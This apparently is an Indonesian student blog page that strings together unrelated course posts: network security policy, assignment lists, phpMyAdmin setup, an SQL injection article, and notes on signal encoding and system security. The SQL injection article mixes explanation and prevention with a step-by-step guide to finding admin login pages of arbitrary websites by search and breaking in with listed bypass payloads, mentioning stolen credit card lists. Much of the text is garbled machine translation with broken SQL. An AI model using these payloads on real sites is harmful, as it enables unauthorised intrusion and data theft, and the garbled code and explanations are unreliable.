ARTIKEL SQL INJECTION
Merancang Sistem Keamanan Jaringan yang Tangguh
Suatu organisasi dapat mempunyai dua atau lebih dari satu situs atau dimana tiap situs mempunyai jaringan sendiri. Bila organisasi besar, maka sangat dimungkinkan situs-situs tersebut mempunyai administrasi jaringan yang dibedakan menurut tujuan tertentu.
Bila situs-situs ini tidak terhubung melalui internet, tiap situs mungkin memiliki kebijakan keamanan sendiri. Bagaimanapun, bila situs-situs tersebut terhubung melalui internet, maka kebijakan keamanan harus mencakup tujuan dari semua situs yang saling terhubung.
Pada umumnya suatu situs adalah bagian dari organisasi yang mempunyai beberapa komputer dan sumber daya yang terhubung ke dalam suatu jaringan. Sumber daya tersebut misalnya :
· Workstation dan Laptop
· Komputer sebagai host atau server
· Interkoneksi: gateway, router, bridge, repeater
· Perangkat lunak aplikasi dan jaringan (NOS)
· Kabel-kabel jaringan
· Informasi di dalam file dan database
Kebijakan keamanan situs harus memperhatikan pula keamanan terhadap sumber daya tersebut. Karena situs terhubung ke jaringan lain, maka kebijakan keamanan harus memperhatikan kebutuhan dari semua jaringan yang saling terhubung. Hal ini penting untuk diperhatikan karena kemungkinan kebijakan keamanan situs dapat melindungi situs tersebut, namun berbahaya bagi sumber daya jaringan yang lain.
Suatu contoh dari hal ini
adalah penggunaan alamat IP di belakang firewall, dimana alamat IP tersebut
sudah digunakan oleh orang lain. Pada kasus ini, penyusupan dapat dilakukan
terhadap jaringan di belakang firewall dengan melakukan IP spoofing. Sebagai
catatan, RFC 1244 membahas keamanan keamanan situs secara detail.
Kebijakan Keamanan Jaringan
Kebijakan keamanan menyediakan kerangka-kerangka untuk membuat keputusan yang spesifik, misalnya mekanisme apa yang akan digunakan untuk melindungi jaringan dan bagaimana mengkonfigurasi servis-servis. Kebijakan keamanan juga merupakan dasar untuk mengembangkan petunjuk pemrograman yang aman untuk diikuti user maupun bagi administrator sistem. Karena kebjikan keamanan tersebut mencakup bahasan yang sangat luas, maka pada saat ini hanya akan dibahas inti permasalahan saja dan tidak akan membahas hal-hal yang bersifat spesifik dari segi teknologi.
Sebuah kebijakan keamanan mencakup hal-hal berikut ini:
1. Deskripsi secara detail tentang lingkungan teknis dari situs, hukum yang berlaku, otoritas dari kebijakan tersebut dan filosofi dasar untuk digunakan pada saat menginterpretasikan kebijakan tersebut.
2. Analisa risiko yang mengidentifikasi aset-aset situs, ancaman yang dihadapi oleh aset-aset tersebut dan biaya yang harus dikeluarkan untuk kerusakan/kehilangan aset-aset tersebut.
3. Petunjuk bagi administrator sistem untuk mengelola sistem
4. Definisi bagi user tentang hal-hal yang boleh dilakukan
5. Petunjuk untuk kompromi terhadap media dan penerapan hukum yang ada, serta memutuskan apakah akan melacak penyusup atau akan mematikan sistem dan kemudian memulihkannya lagi.
Faktor yang berpengaruh terhadap keberhasilan kebijakan keamanan antara lain adalah:
· Komitmen dari pengelola jaringan
· Dukungan teknologi untuk menerapkan kebijakan keamanan tersebut
· Keefektifan penyebaran kebijakan tersebut
· Kesadaran semua user jaringan terhadap keamanan jaringan
Pihak pengelola jaringan komputer mengatur tanggung jawab terhadap keamanan jaringan, menyediakan training untuk personel-personel yang bertugas di bidang keamanan jaringan dan mengalokasikan dana untuk keamanan jaringan. Yang termasuk pilihan-pilihan teknis yang dapat digunakan untuk mendukung keamanan jaringan komputer antara lain:
1. Authentikasi terhadap sistem
2. Audit sistem untuk akuntabilitas dan rekonstruksi
3. Enkripsi terhadap sistem untuk penyimpanan dan pengiriman data penting
4. Tool-tool jaringan, misalnya firewall dan proxy
Hal-hal
Praktis Pendukung
Di bawah ini adalah hal-hal praktis yang perlu dilakukan untuk mendukung keamanan jaringan komputer, antara lain:
· Memastikan semua account mempunyai password yang sulit untuk ditebak. Akan lebih baik bila menggunakan OTP (One Time Password)
· Menggunakan tool, misalnya MD5 checksums, sebuah teknik kriptografi untuk memastikan integritas perangkat lunak sistem
· Menggunakan teknik pemrograman yang aman pada saat membuat perangkat lunak
· Selalu bersikap waspada terhadap penggunaan dan konfigurasi jaringan computer
· Memeriksa secara rutin apakah vendor memiliki perbaikan-perbaikan terhadap lubang keamanan yang terbaru dan selalu menjaga sistem selalu mengalami upgrading terhadap keamanan
· Memeriksa secara rutin dokumen-dokumen dan artikel on-line tentang bahaya keamanan dan teknik mengatasiny. Dokumen dan artikel seperti ini dapat ditemukan pada situs-situs milik incident response teams, misalnya CERT (Computer Emergency Response Team dan Computer Security Incident Response Team
· Mengaudit sistem dan jaringan dan secara rutin memeriksa daftar log. Beberapa situs yang mengalami insiden keamanan melaporkan bahwa audit yang dikumpulkan minim sehingga sulit untuk mendeteksi dan melacak penyusupan
Tugas Semester ini Universitas ************* Teknik Informatika
Tugas Kuliah Media Digital Teori :
A.
Buat paper 1
- macam2 format gambar digital,
- run length encoding (rle) dan
- Contoh penggunaannya.
dikumpulkan minggu depan
softcopy aja plus dan presensi.
(tgl 9 Desember 2010)
*update : tugas paper 1
dikumpulkan bareng paper 2 (16 Desember 2021)
B.
Buat Paper(ringkasan) yang menjelaskan tentang :
1. Konsep Gambar dalam layar komputer, dan bagaimana menghitung ukuran file
gambar
2. Macam2 format file gambar
3. Penjelasan tentang perintah "help imread" di Matlab beserta
perintah2 lain yang berkaitan.
4. Penjelasan tentang perintah "help imshow" di Matlab beserta
perintah2 lain yang berkaitan.
5. Jenis2 file gambar apa saja yang bisa dibaca menggunakan matlab?
Berikan Contoh Skrip menampilkan berbagai gambar.
(Dikumpulkan 16 Desember 2021 dan Jangan Lupa presensi di ****)
Tugas
Kuliah Jaringan Teori (8 Desember 2021)
Buat Skema jaringan sekolah asal (SMA/SMK tempat sekolah dulu berasal)
menggunakan cisco packet tracert...lengkap dengan seting IP jaringan.
Jika mau bisa menggunakan subnetting...
Jika Kurang jelas bisa bertanya pada yg berangkat kuliah.trims
Tugas
Media Pendidikan (Photografi)
Fotografi menggunakan kertas (beli sendiri)
Tugas
Manajemen Pendidikan (Pramudi Utomo, M.Si)
1. Tugas rumah
2. Buat paper tentang menajemen pendidikan
3. Paper di buat dngan menggunakan bhasa indonesia
4. Paper ditulis boleh dr beberapa sumber
5. Dijilid (Kesepakatan Kelas G- Warna Biru Muda Saja)
Tugas
Sistem Keamanan - Rahmatul Irfan, M.T (November 2021)
1. Instal Linux Server menggunakan VMWare (Terserah distro linux apa)
2. Seting jadi Proxy Server.
3. hasil jadi, File *.VMX diburning di CD/DVD (masing-masing orang 1)
Tugas
Sistem keamanan (9 Desember 2021)
1. Bagaimana menciptakan sistem IT yang tangguh2. Bagaimana keamanan sistem IT
yang bagus3. Bagaimana memperbaiki citra, ketika citra telah hancur karena
kegagalan (marketing dan teknis)
1 Kelompok = 6 Orang => buat Blogkemudian jawaban di upload di blog.alamat
blog dikirim ke email pak irfan
(Minggu Depan)/ 16 Desember 2021
MINGGU DEPAN TIDAK BOLEH TELAT, HARUS ONTIME, YANG TELAT TIDAK BOLEH TTD
Tugas
Kuliah Praktek Administrasi jaringan (4 Desember 2010) :
1. download phpmyadmin dr phpmyadmin.net ~~>> cari tar.gz
2. ekstrak & kemudian rename mnjdi phpmyadmindi
/usr/local/www/apache22/data/ # tar zxf
phpmyadmin-3.3.8.1-all-languages.tar.gz# my phpmyadmin-3.3.8.1-all-languages phpmyadmin
# cd -r phpmyadmin /usr/local/www/apache22/data/
3. masuk kedirektori hasil ekstrak phpmyadmin# cd phpmyadmin
4. kopi file config.sampel.inc.php mnjdi config.inc.php# cp config.sampel.inc.php
config.inc.php
5. edit file config.inc.php dan tambahkan kata acak pada
bariscfgl'blowfish_scret']# ee
config.inc.php$cfg['blowfish_secret']='sukasukasayakamumauapasajajugabisa';
6.tambahkan alias pada httpd.conf
alias /phpmyadmin /usr/local/www/apache22/data/phpmyadmin
7. restart apache
# /usr/local/etc//rc.d/apache22 restart
akses melalui : http://ip-addres/phpmyadmin
Otak Kecil Kemampuan Hebat
Kekayaan yang tidak dimiliki oleh otak lain,masing-masing memiliki kekuatan,
masing-masing memiliki kemampuan, masing-masing memiliki sifat, masing-masing
memiliki keistimewaan...
Itulah kami :
1. Arif Rokhman
2. Widyanti Anggita L
3. Sri Esti S
4. Christina Yulika
5. Rosiani
6. Annafi Arrosyida
Adalah anak-anak pinter dari Pendidikan Teknik Informatika, Fakultas Teknik,
Universitas Negeri Yogyakarta yang ingin sharing ilmu yang dipunyai kepada
khalayak ramai....
Artikel SQL Injection
PENGERTIAN
SQL injection adalah teknik injeksi kode yang mengeksploitasi kerentanan
keamanan yang terjadi pada lapisan aplikasi database. Kerentanan ini hadir
ketika masukan pengguna baik salah disaring untuk lolos karakter string literal
tertanam dalam pernyataan SQL atau masukan pengguna tidak strongly typed dan
dengan demikian tak terduga dieksekusi. Ini adalah sebuah instance dari kelas
yang lebih umum dari kerentanan yang dapat terjadi kapan pun salah satu bahasa
pemrograman atau scripting adalah tertanam dalam lainnya. Serangan injeksi SQL
juga dikenal sebagai serangan penyisipan SQL.
1) SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client
dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client.
2) SQL Injection merupakan teknik mengeksploitasi web aplikasi yang didalamnya
menggunakan database untuk penyimpanan data.
Bentuk SQL injection terjadi ketika masukan pengguna tidak disaring untuk
karakter melarikan diri dan kemudian dilewatkan ke dalam suatu pernyataan SQL.
Hal ini menyebabkan potensi manipulasi laporan dilakukan pada database oleh
pengguna-akhir aplikasi.
Baris kode berikut menggambarkan kerentanan ini:
Pernyataan = "SELECT * FROM` user
`WHERE` name `= '" + username + "';" Kode SQL dirancang
untuk menarik catatan username tertentu dari tabel pengguna. Namun, jika
"username" variabel dibuat dengan cara tertentu oleh seorang pengguna
jahat, pernyataan SQL dapat melakukan lebih dari penulis kode yang ditujukan.
Sebagai contoh, pengaturan "username" variabel sebagai
'Atau '1' = '1
Atau menggunakan komentar untuk bahkan memblokir seluruh query:
'Atau '1' = '1';/*'
menjadikan pernyataan SQL ini oleh bahasa induk:
SELECT * FROM `user` WHERE `name` =''OR
'1 '= '1';
Jika kode ini akan digunakan dalam sebuah prosedur otentikasi maka contoh ini
dapat digunakan untuk memaksakan pemilihan sebuah nama pengguna yang sah karena
evaluasi '1 '= '1' selalu benar.
Nilai berikut "username"
dalam pernyataan di bawah ini akan menyebabkan penghapusan tabel "pengguna" serta pemilihan
semua data dari tabel "userinfo"
(pada intinya mengungkap informasi setiap pengguna), dengan menggunakan API
yang memungkinkan beberapa pernyataan:
a '; DROP TABLE `pengguna`; SELECT *
FROM `userinfo` WHERE' t t '='
Masukan ini membuat pernyataan akhir SQL sebagai berikut:
SELECT * FROM `user` WHERE `nama` 'a' =; DROP TABLE `pengguna`; SELECT * FROM
`userinfo` 't' MANA
Sementara sebagian besar implementasi SQL server memungkinkan beberapa
pernyataan akan dieksekusi dengan satu panggilan dengan cara ini, beberapa API
SQL seperti PHP mysql_query (); fungsi tidak mengijinkan ini untuk alasan
keamanan. Hal ini mencegah penyerang dari menyuntikkan query sepenuhnya
terpisah, tetapi tidak menghentikan mereka dari memodifikasi query.
Salah Penanganan Jenis
Bentuk injeksi SQL terjadi ketika pengguna bidang yang disediakan tidak diketik
kuat atau tidak diperiksa untuk jenis kendala. Hal ini bisa terjadi ketika
bidang numerik akan digunakan dalam pernyataan SQL, tetapi pemrogram tidak
membuat cek untuk memvalidasi bahwa pengguna disediakan input numerik. Sebagai
contoh:
pernyataan: = "SELECT * FROM`
userinfo `WHERE` id `=" + a_variable + ";"
Hal ini jelas dari
pernyataan ini bahwa penulis dimaksudkan a_variable untuk menjadi nomor
berhubungan ke kolom "id".
Namun, jika itu sebenarnya sebuah string maka pengguna akhir dapat memanipulasi
pernyataan sebagaimana mereka pilih, sehingga melewati kebutuhan untuk karakter
melarikan diri. Misalnya, pengaturan a_variable: 1; DROP TABLE `pengguna`
akan drop (menghapus) "pengguna"
tabel dari database, karena SQL akan diberikan sebagai berikut: SELECT * FROM `userinfo` WHERE `id` = 1;
DROP TABLE `pengguna`;
Kerentanan dalam database server.
Kadang-kadang kerentanan dapat eksis dalam perangkat lunak server database itu
sendiri, seperti yang terjadi dengan mysql_real_escape_string server MySQL ()
fungsi Hal ini akan memungkinkan penyerang untuk melakukan serangan SQL
injection sukses berdasarkan karakter Unicode buruk bahkan jika input pengguna
sedang melarikan diri. Bug ini telah ditambal dengan rilis versi 5.0.22
(dirilis pada tanggal 24 Mei.
Blind SQL injection. Blind SQL Injection digunakan ketika sebuah aplikasi web
yang rentan terhadap injeksi SQL tetapi hasil suntikan tidak terlihat bagi
penyerang. Halaman dengan kerentanan tidak mungkin menjadi salah satu yang
menampilkan data tetapi akan ditampilkan berbeda tergantung pada hasil
pernyataan logis disuntikkan ke pernyataan SQL yang sah disebut untuk halaman
tersebut. Jenis serangan bisa menjadi waktu-intensif karena pernyataan baru
harus dibuat untuk setiap bit pulih. Ada beberapa alat yang dapat
mengotomatisasi serangan ini sekali lokasi kerentanan dan informasi target
telah .
Tanggapan Bersyarat
Salah satu jenis SQL injection buta memaksa database untuk mengevaluasi
pernyataan logis pada layar aplikasi biasa.
SELECT `booktitle` DARI `Booklist` WHERE
`bookId` = 'OOk14cd' DAN '1 '= '1';
akan menghasilkan halaman yang normal sedangkan SELECT `booktitle` DARI `Booklist`
WHERE `bookId` = 'OOk14cd' DAN '1 '=
'2';
kemungkinan akan memberikan hasil yang berbeda jika halaman tersebut rentan
terhadap SQL injection. Sebuah injeksi seperti ini mungkin menyarankan untuk
penyerang bahwa SQL injection buta adalah mungkin, meninggalkan penyerang untuk
merancang pernyataan yang mengevaluasi untuk benar atau salah tergantung pada
isi kolom atau tabel lain di luar daftar kolom SELECT's
Kesalahan Bersyarat
SQL injection buta menyebabkan kesalahan SQL dengan memaksa database untuk
mengevaluasi pernyataan yang menyebabkan kesalahan jika pernyataan WHERE adalah
benar. Sebagai contoh, SELECT 1 / 0 DARI `user` WHERE `username` 'Ralph' =;
pembagian dengan nol hanya akan dievaluasi dan menyebabkan kesalahan jika
pengguna Ralph ada.
Sisa Penundaan adalah jenis SQL injection buta yang menyebabkan mesin SQL untuk
mengeksekusi query berjalan panjang atau penundaan waktu tergantung pada
pernyataan logika disuntikkan. Penyerang kemudian dapat mengukur kali halaman
yang dibutuhkan untuk beban untuk menentukan apakah pernyataan disuntikkan
adalah benar
Mencegah SQL Injection.
Untuk melindungi terhadap injeksi SQL, masukan user tidak harus langsung
dimasukkan dalam pernyataan SQL. Sebaliknya, pernyataan parameter harus
digunakan (lebih disukai), atau input pengguna harus secara hati-hati melarikan
diri atau disaring. Dengan platform pengembangan yang paling, laporan dapat
digunakan parameter yang bekerja dengan parameter (penampung kadang-kadang
disebut atau variabel mengikat) daripada embedding input pengguna dalam pernyataan
itu. Dalam banyak kasus, pernyataan SQL adalah tetap, dan setiap parameter
adalah skalar, bukan meja. Input pengguna kemudian ditugaskan (terikat) untuk
parameter. Ini adalah contoh menggunakan Java dan API JDBC:
PreparedStatement prep = conn.prepareStatement
("SELECT * FROM` user `WHERE USERNAME = DAN PASSWORD? =?");
prep.setString (1, username); prep.setString (2, password);
prep.executeQuery ();
Saat ini hanya H2 Database Engine mendukung kemampuan untuk menegakkan parameterisasi query [5] Namun,. Satu kelemahan adalah bahwa query dengan contoh tidak mungkin atau tidak praktis karena sulit untuk menerapkan contoh query dengan menggunakan query parameter. Menggunakan perpustakaan object-relational mapping menghindari kebutuhan untuk menulis kode SQL. Perpustakaan ORM yang berlaku akan menghasilkan laporan parameterized SQL dari kode berorientasi obyek. A lurus ke depan, meskipun rawan kesalahan, cara untuk mencegah suntikan untuk melarikan diri karakter yang memiliki arti khusus dalam SQL. Manual untuk DBMS SQL yang menjelaskan karakter memiliki arti khusus, yang memungkinkan membuat daftar hitam yang komprehensif karakter yang perlu terjemahan. Sebagai contoh, setiap terjadinya kutip tunggal (') dalam parameter harus diganti dengan dua tanda kutip tunggal ('') untuk membentuk suatu string literal SQL yang valid. Dalam PHP, misalnya, biasanya untuk melarikan diri parameter menggunakan fungsi mysql_real_escape_string (); sebelum mengirim SQL query:
$ Query = sprintf ("SELECT * FROM`
User `WHERE UserName DAN '% s' = Password '% s' =",
mysql_real_escape_string ($ Username),
mysql_real_escape_string ($ Password));
mysql_query ($ query);
Rutin
melalui string melarikan diri ke SQL adalah kesalahan rawan karena mudah lupa
untuk lolos dari string yang diberikan. Membuat lapisan transparan untuk
mengamankan input dapat mengurangi kesalahan-wilayah rawan ini, jika tidak
sepenuhnya menghilangkannya.
Sebab terjadinya SQL Injection
1) Tidak adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan
juga karakter double minus -- yang menyebabkan suatu aplikasi dapat disisipi
dengan perintah SQL.
2) Sehingga seorang Hacker menyisipkan perintah SQL kedalam suatu parameter
maupun suatu form.
Bug SQL Injection berbahaya ?
1) Teknik ini memungkinkan seseorang dapat login kedalam sistem tanpa harus
memiliki account.
2) Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus,
maupun menambahkan data–data yang berada didalam database.
3) Bahkan yang lebih berbahaya lagi yaitu mematikan database itu sendiri,
sehingga tidak bisa memberi layanan kepada web server.
Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet Exploler / Browser
2) PC yang terhubung internet
3) Program atau software seperti softice
Contoh sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where
username =’$username’ and password = ‘$password’”; , {dari GET atau POST
variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select
* from login where username = ’$username’ and password=’pass’ or ‘=′”; , {
dengan SQL ini hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR) kedalam SQL
Contoh sintaks SQL Injection
1) Sintaks SQL string ‘-- setelah nama username
2) Query database awal :
Berubah menjadi :
Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#
Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE
username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya
setelah — akan diabaikan
2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass
script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist+ MySQL
(mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02
(sesuai query), tidak berfungsi untuk versi dibawahnya
3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–
4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing
sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)
5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist
Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah
dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist
6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama
jumlah kolomnya.
Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel
Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null
atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
"/admin.asp"
"/login.asp"
"/logon.asp"
"/adminlogin.asp"
"/adminlogon.asp"
"/admin_login.asp"
"/admin_logon.asp"
"/admin/admin.asp"
"/admin/login.asp"
"/admin/logon.asp"
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan
menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a'='a
Password : ` or `a'='a (termasuk tanda petiknya)
5) Jika berhasil,
kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa menambahkan
berita, mengedit user yang lain, merubah about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang
banyak.
6) Jika tidak berhasil,
cobalah mencari link yang lain yang ditemukan oleh google.
7) Banyak variasi kode
yang mungkin, antara lain :
User name : admin
Password : ` or `a'='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil
hingga anda bisa masuk ke admin panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula akan bingung sejenak
melihat input box nya gak bisa diinject dengan perintah yang panjang.
2) Filter input yang dimasukkan oleh user, terutama penggunaan tanda kutip
tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang
berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored Procedures, Extended
Stored Procedures jika memungkinkan.
5) Ubah "Startup and run SQL Server" menggunakan low privilege user
di SQL Server Security tab.
Hacking adalah seni. Hacking adalah perpaduan dari pengetahuan, kreatifitas dan
kesabaran. Jika Anda memiliki ketiga-tiganya Anda akan berhasil.
DAFTAR PUSTAKA
http://en.wikipedia.org/wiki/SQL_injection
http://www.binushacker.net/simple-sql-injection-tutorial.html
BM-100, ”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005,
(http://www.jasakom.com).
Data Encoding
A. Non Return to Zero (NRZ)
Non Return-to-Zero-Level (NRZ-L) yaitu suatu kode dimana tegangan negative dipakai untuk mewakili suatu binary dan tegangan positif dipakai untuk mewakili binary lainnya. NRZ mempunyai sifat level tegangan tetap selama interval bit tak ada transisi.
Jenis-jenisnya:
1. Non Return to Zero - Level (NRZ-L).
Secara umum adalah kode yang digunakan untuk menghasilkan dan menginterpretasikan data digital oleh terminal pemroses data/peralatan lainnya.
1 = level tinggi (ada pulsa).
0 = level rendah (tidak ada pulsa).
2. Non Return to Zero - Mark (NRZ-M).
Punya keuntungan dalam pengkodean differensial, dimana sinyal dikodekan dengan membandingkan polaritas elemen sinyal yang berdekatan dari harga absolut sinyal. Keuntungan pengkodean differensial lebih mudah mendekati transisi noise.
1 = ada transisi diawal interval bit.
0 = tidak ada transisi.
3. Nonreturn to Zero - Space (NRZ-S).
Hampir sama dengan NRZ-M.
1 = tidak ada transisi.
0 = ada transisi diawal interval bit.
B. Return to Zero (RZ)
Return to Zero Seperti pada NRZ dimana signal positif menyatakan bit ”1” dan negatif menyatakan bit ”0”, tetapi signal tersebut baik yang positif maupun yang negatif akan kembali ke posisi netral ”nol”, ditengah durasi waktu bit. Transisi signal ditengah durasi waktu bit ini dipakai untuk sinkronisasi. Kelemahan sistem ini adalah diperlukan 2 signal yang berubah baik bit ”1” maupun bit ”0” ditengah interval sehingga mengakibatkan bandwidth akan bertambah besar.
· Untuk melihat perbedaan antara kecepatan data dan kecepatan modulasi.
· Ukuran minimal elemen sinyal adalah pulsa untuk binary 1, besarnya ½ panjang interval bit.
· RZ tidak memberikan perbaikan terhadap teknik NRZ, bandwidth sinyal besar.
· Dipakai untuk beberapa transmisi elementer dan peralatan rekam, tetapi bukan pemilihan yang umum.
1 = ada pulsa pada pertama interval.
0 = tidak ada pulsa.
C. Biphase
· Biphase ini diharapkan untuk mengatasi kerugian dari teknik pengkodean sinyal NRZ dan RZ.
· Sekurang-kurangnya memerlukan satu transisi waktu bit dan sebanyak-banyaknya dua transisi, sehingga kecepatan modulasi maximum 2x NRZ dan bandwidth besar.
Jenis-jenisnya:
1. Biphase – Level, Manchester (Biphase-L).
Konsep Manchester (Biphase L) adalah perubahan transisi di tengah interval untuk signal “0” perubahan terjadi dari positif ke negatif, sedangkan bit “1” perubahan terjadi dari negatif ke positif. Konsep ini digunakan oleh IEEE 802.3.
1 = ada transisi dari tinggi ke rendah ditengah interval.
0 = ada transisi dari rendah ke tinggi ditengah interval.
2. Biphase – Mark ( Biphase-M).
Selalu ada transisi diawal interval.
1 = ada transisi ditengah interval.
0 = tidak ada transisi ditengah interval.
3. Biphase – Space ( Biphase-S).
Tidak ada transisi diawal interval.
1 = tidak ada transisi ditengah interval.
0 = ada transisi ditengah interval.
4. Differential Manchester.
1 = tidak ada transisi diawal interval.
0 = transisi ditengah interval.
D. Delay Modulation (Miller-Coding)
· Merupakan alternatif untuk teknik biphase juga miller coding.
· Dengan miller coding sekurang-kurangnya ada satu transisi per dua waktu bit.
· Sehingga miller coding mempunyai beberapa synchronisasi capability, tetapi memerlukan kecepatan modulasi rendah dan bandwidth lebih kecil dari biphase.
1 = ada transisi ditengah interval.
0 = tidak ada transisi jika diikuti oleh bit 1.
ada transisi diakhir interval jika diikuti bit 0.
E. Multilevel Binary (Bipolar)
· Menggunakan lebih dari dua level sinyal.
· Mempunyai pusat bandwidth pada ½ kecepatan bandwidth.
· Tidak ada synchronisasi capability.
· Bipolar memberikan beberapa error deteksi capability, jika “1” harus mempunyai tanda berlawanan.
1 = ada pulsa pada setengah pertama interval bit.
0 = tidak ada pulsa.
Keamanan Sistem (System Security)
Pokok masalah keamanan sistem salah satunya disebabkan karena sistem time sharing dan akses jarak jauh, apalagi dengan meningkatnya perkembangan jaringan komputer. Keamanan sistem komputer adalah untuk menjamin sumber daya sistem tidak digunakan / dimodifikasi, diinterupsi dan diganggu oleh orang yang tidak diotorisasi. Pengamanan termasuk masalah teknis, manajerial, legalitas dan politis.
Tiga macam keamanan sistem, yaitu :
1. Keamanan eksternal / external security
Berkaitan dengan pengamanan fasilitas komputer dari penyusup dan bencana seperti kebakaran / kebanjiran.
2. Keamanan interface pemakai / user interface security
Berkaitan dengan indentifikasi pemakai sebelum pemakai diijinkan mengakses program dan data yang disimpan
3. Keamanan internal / internal security
Berkaitan dengan pengamanan beragam kendali yang dibangun pada perangkat keras dan sistem operasi yang menjamin operasi yang handal dan tak terkorupsi untuk menjaga integritas program dan data.
Dua masalah penting keamanan, yaitu :
1. Kehilangan data / data loss
Yang disebabkan karena :
· Bencana, contohnya kebakaran, banjir, gempa bumi, perang, kerusuhan, tikus, dll.
· Kesalahan perangkat keras dan perangkat lunak, contohnya ketidak berfungsinya pemroses, disk / tape yang tidak terbaca, kesalahan komunikasi, kesalahan program / bugs.
· Kesalahan / kelalaian manusia, contohnya kesalahan pemasukkan data, memasang tape / disk yang salah, kehilangan disk / tape.
2. Penyusup / intruder
· Penyusup pasif, yaitu yang membaca data yang tidak terotorisasi
·
Penyusup aktif, yaitu mengubah data yang tidak terotorisasi.
Contohnya penyadapan oleh orang dalam, usaha hacker dalam mencari uang,
spionase militer / bisnis, lirikan pada saat pengetikan password.
Sasaran keamanan adalah menghindari, mencegah dan mengatasi ancaman terhadap
sistem.
Tiga aspek kebutuhan keamanan sistem komputer, yaitu :
· Kerahasiaan / secrecy, diantaranya privasi
Keterjaminan bahwa informasi di sistem komputer hanya dapat diakses oleh pihak-pihak yang terotorisasi dan modifikasi tetap menjaga konsistensi dan keutuhan data di system
· Integritas / integrity
Keterjaminan bahwa sumber daya sistem komputer hanya dapat dimodifikasi oleh pihak-pihak yang terotorisasi
· Ketersediaan / availability
Keterjaminan bahwa sumber daya sistem komputer tersedia bagi pihak-pihak yang diotorisasi saat diperlukan
Tipe ancaman terhadap keamanan sistem komputer dapat dimodelkan dengan memandang fungsi sistem komputeer sebagai penyedia informasi.
Berdasarkan fungsi ini, ancaman terhadap sistem komputeer dikategorikan menjadi 4 ancaman, yaitu :
1. Interupsi / interruption
Sumber daya sistem komputer dihancurkan / menjadi tak tersedia / tak berguna. Merupakan ancaman terhadap ketersediaan. Contohnya penghancuran harddisk, pemotongan kabel komunikasi.
2. Intersepsi / interception
Pihak tak diotorisasi dapat mengakses sumber daya. Merupakan ancaman terhadap kerahasiaan. Pihak tak diotorissasi dapat berupa orang / program komputeer. Contohnya penyadapan, mengcopy file tanpa diotorisasi.
3. Modifikasi / modification
Pihak tak diotorisasi tidak hanya mengakses tapi juga merusak sumber daya. Merupakan ancaman terhadap integritas. Contohnya mengubah nilai file, mengubah program, memodifikasi pesan
4. Fabrikasi / fabrication
Pihak tak diotorisasi menyisipkan / memasukkan objek-objek palsu ke sistem. Merupakan ancaman terhadap integritas. Contohnya memasukkan pesan palsu ke jaringan, menambah record file.
Petunjuk prinsip-prinsip pengamanan sistem komputer, yaitu :
· Rancangan sistem seharusnya public
